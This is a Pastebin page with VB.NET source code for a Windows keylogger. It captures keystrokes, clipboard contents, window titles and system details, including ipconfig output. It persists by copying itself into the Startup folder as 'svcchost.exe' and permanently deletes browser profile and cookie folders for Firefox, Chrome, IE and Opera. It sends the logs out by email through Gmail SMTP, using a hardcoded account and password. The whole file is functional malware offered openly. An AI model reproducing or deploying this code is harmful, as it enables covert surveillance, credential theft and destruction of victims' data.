Advertisement
Guest User

Untitled

a guest
Feb 16th, 2020
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.05 KB | None | 0 0
  1. Imports System.Text
  2. Imports System.IO
  3. Imports System.ComponentModel
  4. Imports System.Net.Mail
  5.  
  6.  
  7. Public Class Form1
  8. Dim WithEvents K As New Keyboard
  9. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  10. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  11. Dim strin As String = Nothing
  12.  
  13. Private Sub keyboardLanguages()
  14. For index = 0 To InputLanguage.InstalledInputLanguages.Count - 1 Step 1
  15. TextBox2.Text = InputLanguage.InstalledInputLanguages.Item(index).LayoutName.ToString + TextBox2.Text
  16. Next
  17. End Sub
  18.  
  19. Private Function GetActiveWindowTitle() As String
  20. Dim MyStr As String
  21. MyStr = New String(Chr(0), 100)
  22. GetWindowText(GetForegroundWindow, MyStr, 100)
  23. MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
  24. Return MyStr
  25. End Function
  26.  
  27. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  28.  
  29. If strin <> GetActiveWindowTitle() Then
  30. TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine + "--->" + Clipboard.GetText.ToString + "<---" + vbNewLine + vbNewLine
  31. strin = GetActiveWindowTitle()
  32. End If
  33. End Sub
  34.  
  35. Private Sub K_Down(ByVal Key As String) Handles K.Down
  36. TextBox1.Text &= Key
  37. End Sub
  38.  
  39. Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
  40. 'Windows 7 StartUp User
  41. Try
  42. Dim file1 As String = Application.ExecutablePath
  43. Dim copy1 As String = "C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svcchost.exe"
  44. If File.Exists(copy1) Then
  45. Else
  46. System.IO.File.Copy(file1, copy1)
  47. End If
  48. Catch ex As Exception
  49. End Try
  50. 'Windows Xp Startup User
  51. Try
  52. Dim file1 As String = Application.ExecutablePath
  53. Dim copy1 As String = "C:\Documents And Settings\" + Environment.UserName.ToString + "\Start Menu\Programs\Startup\svcchost.exe"
  54. If File.Exists(copy1) Then
  55. Else
  56. System.IO.File.Copy(file1, copy1)
  57. End If
  58. Catch ex As Exception
  59. End Try
  60.  
  61. End Sub
  62.  
  63. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  64. keyboardLanguages()
  65.  
  66. Select Case (My.Settings.browser)
  67. Case 0
  68. My.Settings.browser = 1
  69. My.Settings.Save()
  70. My.Settings.Reload()
  71. Case 1
  72. Timer4.Start()
  73. Case 2
  74. Case Else
  75. End Select
  76.  
  77. TextBox1.Text = Now() + vbNewLine + vbNewLine
  78.  
  79. Try
  80. Dim myProcess As New Process()
  81. myProcess.StartInfo.UseShellExecute = False
  82. myProcess.StartInfo.RedirectStandardOutput = True
  83. Try
  84. myProcess.StartInfo.FileName = "ipconfig"
  85. myProcess.StartInfo.Arguments = "/all"
  86. myProcess.StartInfo.CreateNoWindow = True
  87. myProcess.Start()
  88. TextBox1.Text = TextBox1.Text + _
  89. Replace(myProcess.StandardOutput.ReadToEnd(), _
  90. Chr(13) & Chr(13), Chr(13))
  91. myProcess.WaitForExit()
  92. Catch ex As Exception
  93. End Try
  94. Catch ex As Exception
  95. End Try
  96. Try
  97. TextBox1.Text = vbNewLine + vbNewLine + TextBox1.Text + vbNewLine + vbNewLine + "User Name: " + Environment.UserName.ToString
  98. TextBox1.Text = TextBox1.Text + vbNewLine + "Computer Name: " + Environment.MachineName.ToString
  99. TextBox1.Text = TextBox1.Text + vbNewLine + "Screen: " + My.Computer.Screen.WorkingArea.ToString
  100. TextBox1.Text = TextBox1.Text + vbNewLine + "OS Versio: " + Environment.OSVersion.ToString
  101. TextBox1.Text = TextBox1.Text + vbNewLine + "Run Time: " + Environment.Version.ToString
  102. TextBox1.Text = TextBox1.Text + vbNewLine + "System Root: " + Environment.SystemDirectory.ToString
  103. TextBox1.Text = TextBox1.Text + vbNewLine + "User Domain Name: " + Environment.UserName.ToString
  104. TextBox1.Text = TextBox1.Text + vbNewLine + "Total Physical Memory: " + My.Computer.Info.TotalPhysicalMemory.ToString
  105. TextBox1.Text = TextBox1.Text + vbNewLine + "Remain Physical Memory: " + My.Computer.Info.AvailablePhysicalMemory.ToString
  106. TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine
  107.  
  108. K.CreateHook()
  109.  
  110. Timer1.Start()
  111. Timer2.Start()
  112. Catch ex As Exception
  113.  
  114. End Try
  115. End Sub
  116. Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
  117. 'Windows 7
  118. 'Mozilla Folder/Profiles Delete
  119. Try
  120. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Mozilla\Firefox\Profiles", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  121. System.IO.File.Delete("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Mozilla\Firefox\profiles.ini")
  122. Catch ex As Exception
  123. End Try
  124.  
  125. 'Chrome Delete Files/Folders
  126. Try
  127. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Local\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  128. Catch ex As Exception
  129. End Try
  130.  
  131. 'IE Delete Files/Folders
  132. Try
  133. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  134. Catch ex As Exception
  135. End Try
  136.  
  137. ' Opera Delete Files\Folders
  138. Try
  139. My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Opera\Opera", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  140. Catch ex As Exception
  141. End Try
  142.  
  143. 'Windows Xp
  144. 'Mozilla Delete Files/Folders
  145. Try
  146. My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Mozilla\Firefox\Profiles", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  147. System.IO.File.Delete("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Mozilla\Firefox\Profiles\profiles.ini")
  148. Catch ex As Exception
  149. End Try
  150.  
  151. 'Chorome Delete Files/Folders
  152. Try
  153. My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Local Settings\Application Data\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  154. Catch ex As Exception
  155. End Try
  156.  
  157. 'IE Delete Files/Folders
  158. Try
  159. My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
  160. Catch ex As Exception
  161. End Try
  162.  
  163. My.Settings.browser = 2
  164. My.Settings.Save()
  165. My.Settings.Reload()
  166.  
  167. Timer4.Stop()
  168.  
  169. End Sub
  170.  
  171. Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
  172. Try
  173. 'Mail Message One
  174. Dim MyMailMessage As New MailMessage()
  175. MyMailMessage.From = New MailAddress("prohack4fun900@gmail.com")
  176. MyMailMessage.To.Add("prohack4fun900@gmail.com")
  177. MyMailMessage.Subject = Environment.UserName.ToString + "Turned Off Part : " + My.Settings.part.ToString
  178. MyMailMessage.Body = TextBox1.Text
  179. Dim SMTPServer As New SmtpClient("smtp@gmail.com")
  180. SMTPServer.Port = 587
  181. SMTPServer.Credentials = New System.Net.NetworkCredential("prohack4fun900@gmail.com", "keylogger10")
  182. SMTPServer.EnableSsl = True
  183. SMTPServer.Send(MyMailMessage)
  184. 'Mail Message Two
  185.  
  186. Catch ex As Exception
  187. End Try
  188. My.Settings.part = My.Settings.part + 1
  189. My.Settings.Save()
  190. My.Settings.Reload()
  191.  
  192. End Sub
  193.  
  194. Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  195. Try
  196. 'My Mail Message One
  197. Timer1.Stop()
  198. Dim MyMailMessage As New MailMessage()
  199. MyMailMessage.From = New MailAddress("prohack4fun900@gmail.com")
  200. MyMailMessage.To.Add("prohack4fun900@gmail.com")
  201. MyMailMessage.Subject = Environment.UserName.ToString + "Part: " + My.Settings.part.ToString + TextBox2.Text
  202.  
  203. MyMailMessage.Body = "Compare Info: " + My.Computer.Info.InstalledUICulture.CompareInfo.ToString + vbNewLine + _
  204. "Display Name: " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine + _
  205. "English Name: " + My.Computer.Info.InstalledUICulture.EnglishName.ToString + vbNewLine + _
  206. "Left Language Tag: " + My.Computer.Info.InstalledUICulture.IetfLanguageTag.ToString + vbNewLine + _
  207. "Name: " + My.Computer.Info.InstalledUICulture.Name.ToString + vbNewLine + _
  208. "Native Name: " + My.Computer.Info.InstalledUICulture.NativeName.ToString + vbNewLine + _
  209. "Text Info: " + My.Computer.Info.InstalledUICulture.TextInfo.ToString + vbNewLine + _
  210. "3 Letter ISO Language Name: " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine + _
  211. "3 Letter Windows Language Name: " + My.Computer.Info.InstalledUICulture.ThreeLetterWindowsLanguageName.ToString + vbNewLine + _
  212. "2 Letter Iso Language Name: " + My.Computer.Info.InstalledUICulture.TwoLetterISOLanguageName.ToString + vbNewLine + vbNewLine + vbNewLine + TextBox1.Text
  213. Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  214. SMTPServer.Port = 587
  215. SMTPServer.Credentials = New System.Net.NetworkCredential("prohack4fun900@gmail.com", "keylogger10")
  216. SMTPServer.EnableSsl = True
  217. SMTPServer.Send(MyMailMessage)
  218. TextBox1.Clear()
  219. Timer1.Start()
  220.  
  221. Catch ex As Exception
  222. End Try
  223.  
  224. My.Settings.part = My.Settings.part + 1
  225. My.Settings.Save()
  226. My.Settings.Reload()
  227. End Sub
  228.  
  229. Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
  230.  
  231. End Sub
  232. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement